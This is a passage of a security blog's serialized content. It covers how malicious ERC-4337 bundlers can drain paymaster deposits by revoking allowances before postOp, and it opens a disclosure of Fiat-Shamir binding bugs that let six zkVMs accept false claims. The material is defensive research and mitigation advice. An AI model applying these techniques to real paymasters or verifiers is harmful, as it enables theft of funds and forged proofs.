",{"type":19,"tag":168,"props":104869,"children":104870},{"style":399},[104871],{"type":24,"value":2012},{"type":19,"tag":168,"props":104873,"children":104874},{"style":192},[104875],{"type":24,"value":104876}," 1e18",{"type":19,"tag":168,"props":104878,"children":104879},{"style":212},[104880],{"type":24,"value":412},{"type":19,"tag":168,"props":104882,"children":104883},{"class":170,"line":20965},[104884],{"type":19,"tag":168,"props":104885,"children":104886},{"emptyLinePlaceholder":14},[104887],{"type":24,"value":1093},{"type":19,"tag":168,"props":104889,"children":104890},{"class":170,"line":21000},[104891,104895,104900,104904,104908,104912,104916,104920,104924,104928,104932],{"type":19,"tag":168,"props":104892,"children":104893},{"style":419},[104894],{"type":24,"value":672},{"type":19,"tag":168,"props":104896,"children":104897},{"style":212},[104898],{"type":24,"value":104899}," (ctx.recipient ",{"type":19,"tag":168,"props":104901,"children":104902},{"style":399},[104903],{"type":24,"value":13136},{"type":19,"tag":168,"props":104905,"children":104906},{"style":825},[104907],{"type":24,"value":3685},{"type":19,"tag":168,"props":104909,"children":104910},{"style":212},[104911],{"type":24,"value":500},{"type":19,"tag":168,"props":104913,"children":104914},{"style":192},[104915],{"type":24,"value":1452},{"type":19,"tag":168,"props":104917,"children":104918},{"style":212},[104919],{"type":24,"value":481},{"type":19,"tag":168,"props":104921,"children":104922},{"style":399},[104923],{"type":24,"value":70684},{"type":19,"tag":168,"props":104925,"children":104926},{"style":212},[104927],{"type":24,"value":104849},{"type":19,"tag":168,"props":104929,"children":104930},{"style":399},[104931],{"type":24,"value":7905},{"type":19,"tag":168,"props":104933,"children":104934},{"style":212},[104935],{"type":24,"value":104936}," costInToken) {\n",{"type":19,"tag":168,"props":104938,"children":104939},{"class":170,"line":21008},[104940,104945,104949,104954,104958],{"type":19,"tag":168,"props":104941,"children":104942},{"style":212},[104943],{"type":24,"value":104944}," SafeTransferLib.",{"type":19,"tag":168,"props":104946,"children":104947},{"style":175},[104948],{"type":24,"value":101125},{"type":19,"tag":168,"props":104950,"children":104951},{"style":212},[104952],{"type":24,"value":104953},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":19,"tag":168,"props":104955,"children":104956},{"style":399},[104957],{"type":24,"value":1757},{"type":19,"tag":168,"props":104959,"children":104960},{"style":212},[104961],{"type":24,"value":104962}," costInToken);\n",{"type":19,"tag":168,"props":104964,"children":104965},{"class":170,"line":21016},[104966],{"type":19,"tag":168,"props":104967,"children":104968},{"style":212},[104969],{"type":24,"value":752},{"type":19,"tag":168,"props":104971,"children":104972},{"class":170,"line":21025},[104973],{"type":19,"tag":168,"props":104974,"children":104975},{"emptyLinePlaceholder":14},[104976],{"type":24,"value":1093},{"type":19,"tag":168,"props":104978,"children":104979},{"class":170,"line":21067},[104980,104985,104989],{"type":19,"tag":168,"props":104981,"children":104982},{"style":419},[104983],{"type":24,"value":104984}," emit",{"type":19,"tag":168,"props":104986,"children":104987},{"style":175},[104988],{"type":24,"value":101859},{"type":19,"tag":168,"props":104990,"children":104991},{"style":212},[104992],{"type":24,"value":104993},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":19,"tag":168,"props":104995,"children":104996},{"class":170,"line":21100},[104997],{"type":19,"tag":168,"props":104998,"children":104999},{"style":212},[105000],{"type":24,"value":761},{"type":19,"tag":20,"props":105002,"children":105003},{},[105004,105006,105011,105013,105019,105021,105027,105029,105034,105036,105041],{"type":24,"value":105005},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":19,"tag":27,"props":105007,"children":105009},{"className":105008},[],[105010],{"type":24,"value":101125},{"type":24,"value":105012},". Note that ",{"type":19,"tag":27,"props":105014,"children":105016},{"className":105015},[],[105017],{"type":24,"value":105018},"preFundCharged",{"type":24,"value":105020}," can be zero, as users can opt out of any ",{"type":19,"tag":27,"props":105022,"children":105024},{"className":105023},[],[105025],{"type":24,"value":105026},"preFund",{"type":24,"value":105028}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":19,"tag":27,"props":105030,"children":105032},{"className":105031},[],[105033],{"type":24,"value":101926},{"type":24,"value":105035}," call inside ",{"type":19,"tag":27,"props":105037,"children":105039},{"className":105038},[],[105040],{"type":24,"value":103010},{"type":24,"value":105042}," will revert and the paymaster won't be able to collect payment from the user.",{"type":19,"tag":20,"props":105044,"children":105045},{},[105046,105048,105053,105055,105061,105063,105069],{"type":24,"value":105047},"However, even when ",{"type":19,"tag":27,"props":105049,"children":105051},{"className":105050},[],[105052],{"type":24,"value":101926},{"type":24,"value":105054}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":19,"tag":27,"props":105056,"children":105058},{"className":105057},[],[105059],{"type":24,"value":105060},"requiredPrefund",{"type":24,"value":105062}," was taken from the paymaster's ",{"type":19,"tag":269,"props":105064,"children":105067},{"href":105065,"rel":105066},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[273],[105068],{"type":24,"value":59448},{"type":24,"value":948},{"type":19,"tag":20,"props":105071,"children":105072},{},[105073,105075,105080],{"type":24,"value":105074},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":19,"tag":27,"props":105076,"children":105078},{"className":105077},[],[105079],{"type":24,"value":101926},{"type":24,"value":105081}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":19,"tag":2869,"props":105083,"children":105084},{},[105085,105103,105122,105133,105138],{"type":19,"tag":47,"props":105086,"children":105087},{},[105088,105090,105095,105097],{"type":24,"value":105089},"The bundler creates a ",{"type":19,"tag":27,"props":105091,"children":105093},{"className":105092},[],[105094],{"type":24,"value":99669},{"type":24,"value":105096}," with an intentionally high ",{"type":19,"tag":27,"props":105098,"children":105100},{"className":105099},[],[105101],{"type":24,"value":105102},"gasPrice",{"type":19,"tag":47,"props":105104,"children":105105},{},[105106,105108,105113,105115,105120],{"type":24,"value":105107},"The bundler ensures the ",{"type":19,"tag":27,"props":105109,"children":105111},{"className":105110},[],[105112],{"type":24,"value":101926},{"type":24,"value":105114}," call will fail by revoking the paymaster's token allowance before ",{"type":19,"tag":27,"props":105116,"children":105118},{"className":105117},[],[105119],{"type":24,"value":101926},{"type":24,"value":105121}," executes",{"type":19,"tag":47,"props":105123,"children":105124},{},[105125,105126,105131],{"type":24,"value":60840},{"type":19,"tag":27,"props":105127,"children":105129},{"className":105128},[],[105130],{"type":24,"value":101926},{"type":24,"value":105132}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":19,"tag":47,"props":105134,"children":105135},{},[105136],{"type":24,"value":105137},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":19,"tag":47,"props":105139,"children":105140},{},[105141],{"type":24,"value":105142},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":19,"tag":20,"props":105144,"children":105145},{},[105146,105148,105153,105155,105160],{"type":24,"value":105147},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":19,"tag":27,"props":105149,"children":105151},{"className":105150},[],[105152],{"type":24,"value":99698},{"type":24,"value":105154}," designed to fail during ",{"type":19,"tag":27,"props":105156,"children":105158},{"className":105157},[],[105159],{"type":24,"value":101926},{"type":24,"value":105161}," while maximizing the gas costs they can charge to the paymaster.",{"type":19,"tag":20,"props":105163,"children":105164},{},[105165,105167,105172,105174,105179,105181,105187,105189,105194],{"type":24,"value":105166},"Some paymasters try to protect against this by simulating the ",{"type":19,"tag":27,"props":105168,"children":105170},{"className":105169},[],[105171],{"type":24,"value":99669},{"type":24,"value":105173}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":19,"tag":27,"props":105175,"children":105177},{"className":105176},[],[105178],{"type":24,"value":99669},{"type":24,"value":105180}," is submitted via ",{"type":19,"tag":27,"props":105182,"children":105184},{"className":105183},[],[105185],{"type":24,"value":105186},"handleOps",{"type":24,"value":105188},". This means the ",{"type":19,"tag":27,"props":105190,"children":105192},{"className":105191},[],[105193],{"type":24,"value":101926},{"type":24,"value":105195}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":19,"tag":20,"props":105197,"children":105198},{},[105199],{"type":24,"value":105200},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":19,"tag":20,"props":105202,"children":105203},{},[105204],{"type":24,"value":105205},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":19,"tag":20,"props":105207,"children":105208},{},[105209],{"type":24,"value":105210},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":19,"tag":32847,"props":105212,"children":105213},{"id":26402},[105214],{"type":24,"value":16400},{"type":19,"tag":20,"props":105216,"children":105217},{},[105218],{"type":24,"value":105219},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":19,"tag":2869,"props":105221,"children":105222},{},[105223,105228,105233,105238,105243],{"type":19,"tag":47,"props":105224,"children":105225},{},[105226],{"type":24,"value":105227},"Always collect full payment during validation, not after execution",{"type":19,"tag":47,"props":105229,"children":105230},{},[105231],{"type":24,"value":105232},"Be conservative with gas estimations and include safety margins",{"type":19,"tag":47,"props":105234,"children":105235},{},[105236],{"type":24,"value":105237},"Carefully validate all user inputs and token transfers",{"type":19,"tag":47,"props":105239,"children":105240},{},[105241],{"type":24,"value":105242},"Test extensively, including simulation of malicious behavior",{"type":19,"tag":47,"props":105244,"children":105245},{},[105246,105248,105253],{"type":24,"value":105247},"Always review changes in new ",{"type":19,"tag":27,"props":105249,"children":105251},{"className":105250},[],[105252],{"type":24,"value":99750},{"type":24,"value":105254}," versions, as they may impact your paymaster's design and security assumptions",{"type":19,"tag":20,"props":105256,"children":105257},{},[105258,105260,105265,105267,105272,105274,105279],{"type":24,"value":105259},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":19,"tag":27,"props":105261,"children":105263},{"className":105262},[],[105264],{"type":24,"value":99750},{"type":24,"value":105266}," contract's behavior could potentially break existing ",{"type":19,"tag":27,"props":105268,"children":105270},{"className":105269},[],[105271],{"type":24,"value":99822},{"type":24,"value":105273}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":19,"tag":27,"props":105275,"children":105277},{"className":105276},[],[105278],{"type":24,"value":99750},{"type":24,"value":105280}," versions.",{"type":19,"tag":20,"props":105282,"children":105283},{},[105284],{"type":24,"value":105285},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":19,"tag":20,"props":105287,"children":105288},{},[105289],{"type":24,"value":105290},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":19,"tag":232,"props":105292,"children":105293},{},[105294],{"type":24,"value":236},{"title":7,"searchDepth":198,"depth":198,"links":105296},[105297,105298,105299,105306,105311,105312],{"id":99584,"depth":198,"text":99587},{"id":99600,"depth":198,"text":99603},{"id":99639,"depth":198,"text":99642,"children":105300},[105301,105302,105303,105304,105305],{"id":99662,"depth":415,"text":99669},{"id":99703,"depth":415,"text":99706},{"id":99729,"depth":415,"text":99732},{"id":12169,"depth":415,"text":99750},{"id":99822,"depth":415,"text":99833},{"id":99885,"depth":198,"text":105307,"children":105308},"Understanding the EntryPoint's Flow",[105309,105310],{"id":99941,"depth":415,"text":99944},{"id":100126,"depth":415,"text":100129},{"id":100369,"depth":198,"text":100375},{"id":101969,"depth":198,"text":101975,"children":105313},[105314,105315],{"id":102029,"depth":415,"text":102032},{"id":102089,"depth":415,"text":102092},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":105320,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":105321,"description":105322,"date":105323,"author":105324,"image":105327,"isFeatured":14,"onBlogPage":14,"tags":105329,"body":105331,"_type":242,"_id":121136,"_source":244,"_file":121137,"_stem":121138,"_extension":247},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[105325,105326],"himanshu","valter",{"src":105328,"width":94756,"height":11069},"/posts/zkvms-unfaithful-claims/title.png",[105330],"zkVM",{"type":16,"children":105332,"toc":121100},[105333,105338,105380,105393,105396,105402,105407,105535,105538,105544,105550,105555,105587,105735,105740,105863,105874,105885,105908,105919,105924,105957,105965,105970,105973,105979,105984,105990,105995,106000,106008,106026,106167,106172,106178,106271,107005,107073,107084,107092,107566,107572,108011,108351,108504,108509,109397,109553,109559,109651,109656,110241,110691,110767,110773,110778,110847,110857,110873,110883,110944,111363,111395,111405,111580,111585,111595,112195,112383,112401,112404,112410,112415,112423,112455,112817,112822,112907,112910,112916,112924,112929,112932,112938,112943,112951,112959,112967,112975,113008,113016,113024,113115,113366,113693,113701,113731,113901,114227,114232,114237,114254,114257,114262,114267,114279,114291,114882,114894,114906,114913,114921,114933,114941,114956,114961,115241,115260,115355,115374,115390,115393,115399,115404,115409,115416,115424,115431,115439,115452,115470,115930,116032,116037,116042,116058,116061,116067,116072,116084,116095,116100,116490,116497,116505,116530,116550,116806,116817,116836,117220,117566,117796,117955,118115,118683,118688,118714,118717,118723,118728,118735,118743,118756,118828,118839,118847,118857,118865,118876,119150,119239,119268,119271,119276,119410,119422,119429,119434,119587,119613,119620,119628,119633,119699,119704,120094,120181,120197,120200,120206,120211,120217,120317,120376,120381,120387,120392,120400,120405,120411,120416,120421,120427,120432,120435,120441,120447,120452,120457,120462,120467,120472,120475,120481,120644,120649,120652,120657,120668,120985,120990,121014,121019,121037,121042,121045,121051,121056,121061,121071,121076,121086,121096],{"type":19,"tag":20,"props":105334,"children":105335},{},[105336],{"type":24,"value":105337},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":19,"tag":20,"props":105339,"children":105340},{},[105341,105343,105348,105349,105354,105355,105360,105361,105366,105367,105372,105373,105378],{"type":24,"value":105342},"We found six systems where this faithfulness breaks. Across ",{"type":19,"tag":51,"props":105344,"children":105345},{},[105346],{"type":24,"value":105347},"Jolt",{"type":24,"value":471},{"type":19,"tag":51,"props":105350,"children":105351},{},[105352],{"type":24,"value":105353},"Nexus",{"type":24,"value":471},{"type":19,"tag":51,"props":105356,"children":105357},{},[105358],{"type":24,"value":105359},"Cairo-M",{"type":24,"value":471},{"type":19,"tag":51,"props":105362,"children":105363},{},[105364],{"type":24,"value":105365},"Ceno",{"type":24,"value":471},{"type":19,"tag":51,"props":105368,"children":105369},{},[105370],{"type":24,"value":105371},"Expander",{"type":24,"value":3923},{"type":19,"tag":51,"props":105374,"children":105375},{},[105376],{"type":24,"value":105377},"Binius64",{"type":24,"value":105379},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":19,"tag":20,"props":105381,"children":105382},{},[105383,105385,105391],{"type":24,"value":105384},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":19,"tag":269,"props":105386,"children":105388},{"href":105387},"#challenges",[105389],{"type":24,"value":105390},"Challenges",{"type":24,"value":105392}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":19,"tag":16245,"props":105394,"children":105395},{},[],{"type":19,"tag":36,"props":105397,"children":105399},{"id":105398},"jargon-cheat-sheet",[105400],{"type":24,"value":105401},"Jargon Cheat Sheet",{"type":19,"tag":20,"props":105403,"children":105404},{},[105405],{"type":24,"value":105406},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":19,"tag":43,"props":105408,"children":105409},{},[105410,105420,105430,105440,105450,105460,105470,105480,105490,105500,105510,105520],{"type":19,"tag":47,"props":105411,"children":105412},{},[105413,105418],{"type":19,"tag":51,"props":105414,"children":105415},{},[105416],{"type":24,"value":105417},"Fiat-Shamir",{"type":24,"value":105419},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":19,"tag":47,"props":105421,"children":105422},{},[105423,105428],{"type":19,"tag":51,"props":105424,"children":105425},{},[105426],{"type":24,"value":105427},"Transcript",{"type":24,"value":105429},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":19,"tag":47,"props":105431,"children":105432},{},[105433,105438],{"type":19,"tag":51,"props":105434,"children":105435},{},[105436],{"type":24,"value":105437},"Polynomial Commitment",{"type":24,"value":105439},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":19,"tag":47,"props":105441,"children":105442},{},[105443,105448],{"type":19,"tag":51,"props":105444,"children":105445},{},[105446],{"type":24,"value":105447},"Sumcheck",{"type":24,"value":105449},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":19,"tag":47,"props":105451,"children":105452},{},[105453,105458],{"type":19,"tag":51,"props":105454,"children":105455},{},[105456],{"type":24,"value":105457},"MLE (Multilinear Extension)",{"type":24,"value":105459},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":19,"tag":47,"props":105461,"children":105462},{},[105463,105468],{"type":19,"tag":51,"props":105464,"children":105465},{},[105466],{"type":24,"value":105467},"Lookup / LogUp",{"type":24,"value":105469},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":19,"tag":47,"props":105471,"children":105472},{},[105473,105478],{"type":19,"tag":51,"props":105474,"children":105475},{},[105476],{"type":24,"value":105477},"AIR",{"type":24,"value":105479},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":19,"tag":47,"props":105481,"children":105482},{},[105483,105488],{"type":19,"tag":51,"props":105484,"children":105485},{},[105486],{"type":24,"value":105487},"STARK",{"type":24,"value":105489},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":19,"tag":47,"props":105491,"children":105492},{},[105493,105498],{"type":19,"tag":51,"props":105494,"children":105495},{},[105496],{"type":24,"value":105497},"FRI",{"type":24,"value":105499},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":19,"tag":47,"props":105501,"children":105502},{},[105503,105508],{"type":19,"tag":51,"props":105504,"children":105505},{},[105506],{"type":24,"value":105507},"OODS",{"type":24,"value":105509},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":19,"tag":47,"props":105511,"children":105512},{},[105513,105518],{"type":19,"tag":51,"props":105514,"children":105515},{},[105516],{"type":24,"value":105517},"GKR",{"type":24,"value":105519},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":19,"tag":47,"props":105521,"children":105522},{},[105523,105528,105530],{"type":19,"tag":51,"props":105524,"children":105525},{},[105526],{"type":24,"value":105527},"claimed_sum / opening_claim",{"type":24,"value":105529},": Prover-supplied values that feed into verification equations. ",{"type":19,"tag":51,"props":105531,"children":105532},{},[105533],{"type":24,"value":105534},"These are the usual suspects for binding bugs.",{"type":19,"tag":16245,"props":105536,"children":105537},{},[],{"type":19,"tag":36,"props":105539,"children":105541},{"id":105540},"what-are-we-even-breaking",[105542],{"type":24,"value":105543},"What Are We Even Breaking?",{"type":19,"tag":7050,"props":105545,"children":105547},{"id":105546},"what-is-a-zkvm",[105548],{"type":24,"value":105549},"What is a zkVM?",{"type":19,"tag":20,"props":105551,"children":105552},{},[105553],{"type":24,"value":105554},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":19,"tag":20,"props":105556,"children":105557},{},[105558,105560,105585],{"type":24,"value":105559},"Formally, the verifier is convinced that there exists a valid trace ",{"type":19,"tag":27,"props":105561,"children":105563},{"className":105562},[1411,1412],[105564],{"type":19,"tag":168,"props":105565,"children":105567},{"className":105566},[1417],[105568],{"type":19,"tag":168,"props":105569,"children":105571},{"className":105570,"ariaHidden":1423},[1422],[105572],{"type":19,"tag":168,"props":105573,"children":105575},{"className":105574},[1428],[105576,105580],{"type":19,"tag":168,"props":105577,"children":105579},{"className":105578,"style":19038},[1433],[],{"type":19,"tag":168,"props":105581,"children":105583},{"className":105582,"style":19044},[1439,19043],[105584],{"type":24,"value":3422},{"type":24,"value":105586}," such that:",{"type":19,"tag":20,"props":105588,"children":105589},{},[105590],{"type":19,"tag":27,"props":105591,"children":105593},{"className":105592},[1411,1412],[105594],{"type":19,"tag":168,"props":105595,"children":105597},{"className":105596},[1417],[105598],{"type":19,"tag":168,"props":105599,"children":105601},{"className":105600,"ariaHidden":1423},[1422],[105602,105646,105721],{"type":19,"tag":168,"props":105603,"children":105605},{"className":105604},[1428],[105606,105610,105616,105620,105625,105629,105633,105638,105642],{"type":19,"tag":168,"props":105607,"children":105609},{"className":105608,"style":90450},[1433],[],{"type":19,"tag":168,"props":105611,"children":105613},{"className":105612},[1439],[105614],{"type":24,"value":105615},"∃",{"type":19,"tag":168,"props":105617,"children":105619},{"className":105618,"style":1618},[1520],[],{"type":19,"tag":168,"props":105621,"children":105623},{"className":105622,"style":19044},[1439,19043],[105624],{"type":24,"value":3422},{"type":19,"tag":168,"props":105626,"children":105628},{"className":105627,"style":1618},[1520],[],{"type":19,"tag":168,"props":105630,"children":105632},{"className":105631,"style":1618},[1520],[],{"type":19,"tag":168,"props":105634,"children":105636},{"className":105635},[1623],[105637],{"type":24,"value":1922},{"type":19,"tag":168,"props":105639,"children":105641},{"className":105640,"style":1618},[1520],[],{"type":19,"tag":168,"props":105643,"children":105645},{"className":105644,"style":1618},[1520],[],{"type":19,"tag":168,"props":105647,"children":105649},{"className":105648},[1428],[105650,105654,105665,105670,105675,105680,105684,105689,105694,105698,105703,105708,105712,105717],{"type":19,"tag":168,"props":105651,"children":105653},{"className":105652,"style":1541},[1433],[],{"type":19,"tag":168,"props":105655,"children":105657},{"className":105656},[1439],[105658],{"type":19,"tag":168,"props":105659,"children":105662},{"className":105660},[1439,105661],"mathsf",[105663],{"type":24,"value":105664},"VM",{"type":19,"tag":168,"props":105666,"children":105668},{"className":105667},[19172],[105669],{"type":24,"value":500},{"type":19,"tag":168,"props":105671,"children":105673},{"className":105672,"style":19044},[1439,19043],[105674],{"type":24,"value":19047},{"type":19,"tag":168,"props":105676,"children":105678},{"className":105677},[1552],[105679],{"type":24,"value":1555},{"type":19,"tag":168,"props":105681,"children":105683},{"className":105682,"style":1559},[1520],[],{"type":19,"tag":168,"props":105685,"children":105687},{"className":105686,"style":92555},[1439,19043],[105688],{"type":24,"value":3568},{"type":19,"tag":168,"props":105690,"children":105692},{"className":105691},[1552],[105693],{"type":24,"value":1555},{"type":19,"tag":168,"props":105695,"children":105697},{"className":105696,"style":1559},[1520],[],{"type":19,"tag":168,"props":105699,"children":105701},{"className":105700,"style":19044},[1439,19043],[105702],{"type":24,"value":3422},{"type":19,"tag":168,"props":105704,"children":105706},{"className":105705},[19194],[105707],{"type":24,"value":524},{"type":19,"tag":168,"props":105709,"children":105711},{"className":105710,"style":1618},[1520],[],{"type":19,"tag":168,"props":105713,"children":105715},{"className":105714},[1623],[105716],{"type":24,"value":19789},{"type":19,"tag":168,"props":105718,"children":105720},{"className":105719,"style":1618},[1520],[],{"type":19,"tag":168,"props":105722,"children":105724},{"className":105723},[1428],[105725,105729],{"type":19,"tag":168,"props":105726,"children":105728},{"className":105727,"style":19038},[1433],[],{"type":19,"tag":168,"props":105730,"children":105733},{"className":105731,"style":105732},[1439,19043],"margin-right:0.22222em;",[105734],{"type":24,"value":3598},{"type":19,"tag":20,"props":105736,"children":105737},{},[105738],{"type":24,"value":105739},"where:",{"type":19,"tag":43,"props":105741,"children":105742},{},[105743,105773,105803,105833],{"type":19,"tag":47,"props":105744,"children":105745},{},[105746,105771],{"type":19,"tag":27,"props":105747,"children":105749},{"className":105748},[1411,1412],[105750],{"type":19,"tag":168,"props":105751,"children":105753},{"className":105752},[1417],[105754],{"type":19,"tag":168,"props":105755,"children":105757},{"className":105756,"ariaHidden":1423},[1422],[105758],{"type":19,"tag":168,"props":105759,"children":105761},{"className":105760},[1428],[105762,105766],{"type":19,"tag":168,"props":105763,"children":105765},{"className":105764,"style":19038},[1433],[],{"type":19,"tag":168,"props":105767,"children":105769},{"className":105768,"style":19044},[1439,19043],[105770],{"type":24,"value":19047},{"type":24,"value":105772}," = program/circuit description (public)",{"type":19,"tag":47,"props":105774,"children":105775},{},[105776,105801],{"type":19,"tag":27,"props":105777,"children":105779},{"className":105778},[1411,1412],[105780],{"type":19,"tag":168,"props":105781,"children":105783},{"className":105782},[1417],[105784],{"type":19,"tag":168,"props":105785,"children":105787},{"className":105786,"ariaHidden":1423},[1422],[105788],{"type":19,"tag":168,"props":105789,"children":105791},{"className":105790},[1428],[105792,105796],{"type":19,"tag":168,"props":105793,"children":105795},{"className":105794,"style":19038},[1433],[],{"type":19,"tag":168,"props":105797,"children":105799},{"className":105798,"style":92555},[1439,19043],[105800],{"type":24,"value":3568},{"type":24,"value":105802}," = public input",{"type":19,"tag":47,"props":105804,"children":105805},{},[105806,105831],{"type":19,"tag":27,"props":105807,"children":105809},{"className":105808},[1411,1412],[105810],{"type":19,"tag":168,"props":105811,"children":105813},{"className":105812},[1417],[105814],{"type":19,"tag":168,"props":105815,"children":105817},{"className":105816,"ariaHidden":1423},[1422],[105818],{"type":19,"tag":168,"props":105819,"children":105821},{"className":105820},[1428],[105822,105826],{"type":19,"tag":168,"props":105823,"children":105825},{"className":105824,"style":19038},[1433],[],{"type":19,"tag":168,"props":105827,"children":105829},{"className":105828,"style":105732},[1439,19043],[105830],{"type":24,"value":3598},{"type":24,"value":105832}," = claimed public output",{"type":19,"tag":47,"props":105834,"children":105835},{},[105836,105861],{"type":19,"tag":27,"props":105837,"children":105839},{"className":105838},[1411,1412],[105840],{"type":19,"tag":168,"props":105841,"children":105843},{"className":105842},[1417],[105844],{"type":19,"tag":168,"props":105845,"children":105847},{"className":105846,"ariaHidden":1423},[1422],[105848],{"type":19,"tag":168,"props":105849,"children":105851},{"className":105850},[1428],[105852,105856],{"type":19,"tag":168,"props":105853,"children":105855},{"className":105854,"style":19038},[1433],[],{"type":19,"tag":168,"props":105857,"children":105859},{"className":105858,"style":19044},[1439,19043],[105860],{"type":24,"value":3422},{"type":24,"value":105862}," = private witness/trace (registers, memory history, intermediate values)",{"type":19,"tag":20,"props":105864,"children":105865},{},[105866,105868,105872],{"type":24,"value":105867},"The verifier does ",{"type":19,"tag":51,"props":105869,"children":105870},{},[105871],{"type":24,"value":15940},{"type":24,"value":105873}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":19,"tag":20,"props":105875,"children":105876},{},[105877,105879,105884],{"type":24,"value":105878},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":19,"tag":51,"props":105880,"children":105881},{},[105882],{"type":24,"value":105883},"soundness",{"type":24,"value":1922},{"type":19,"tag":43,"props":105886,"children":105887},{},[105888,105898],{"type":19,"tag":47,"props":105889,"children":105890},{},[105891,105896],{"type":19,"tag":51,"props":105892,"children":105893},{},[105894],{"type":24,"value":105895},"Completeness",{"type":24,"value":105897},": honest execution verifies.",{"type":19,"tag":47,"props":105899,"children":105900},{},[105901,105906],{"type":19,"tag":51,"props":105902,"children":105903},{},[105904],{"type":24,"value":105905},"Soundness",{"type":24,"value":105907},": false execution should not verify.",{"type":19,"tag":20,"props":105909,"children":105910},{},[105911,105913,105917],{"type":24,"value":105912},"We are breaking ",{"type":19,"tag":51,"props":105914,"children":105915},{},[105916],{"type":24,"value":105883},{"type":24,"value":105918}," in all six systems.",{"type":19,"tag":20,"props":105920,"children":105921},{},[105922],{"type":24,"value":105923},"In all six codebases, verification follows this abstract flow:",{"type":19,"tag":2869,"props":105925,"children":105926},{},[105927,105932,105937,105942,105947,105952],{"type":19,"tag":47,"props":105928,"children":105929},{},[105930],{"type":24,"value":105931},"Fix public statement data.",{"type":19,"tag":47,"props":105933,"children":105934},{},[105935],{"type":24,"value":105936},"Parse proof payload (commitments, reduction messages, openings).",{"type":19,"tag":47,"props":105938,"children":105939},{},[105940],{"type":24,"value":105941},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":19,"tag":47,"props":105943,"children":105944},{},[105945],{"type":24,"value":105946},"Check constraint equations at sampled 